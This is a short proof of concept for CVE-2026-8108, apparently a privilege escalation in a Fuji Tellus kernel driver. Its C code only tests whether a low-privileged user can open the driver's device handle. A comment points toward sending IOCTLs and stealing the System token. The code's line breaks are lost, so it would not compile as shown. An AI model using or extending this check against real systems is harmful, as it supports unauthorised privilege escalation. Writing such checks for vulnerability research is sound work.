CVE-2026-8108 Fuji Tellus内核驱动权限提升漏洞

#include <windows.h> #include <stdio.h> // PoC for CVE-2026-8108: Privilege Escalation via Insecure Kernel Driver // This PoC demonstrates opening the vulnerable device with low privileges. int main() { HANDLE hDevice; // Note: The actual device name needs to be obtained through reverse engineering the driver char* deviceName = "\\\\.\\FujiTellusDevice"; DWORD bytesReturned; printf("[*] Attempting to open vulnerable device: %s\n", deviceName); // Attempt to open the device with Read/Write access hDevice = CreateFileA( deviceName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); printf("[-] This might indicate the driver is not loaded or patched.\n"); return 1; } printf("[+] Successfully opened the device handle!\n"); printf("[+] Vulnerability Confirmed: Low privileged user has access to kernel driver.\n"); // In a real exploit scenario, an attacker would now send IOCTLs // or write to memory to escalate privileges (e.g., stealing System token). CloseHandle(hDevice); return 0; }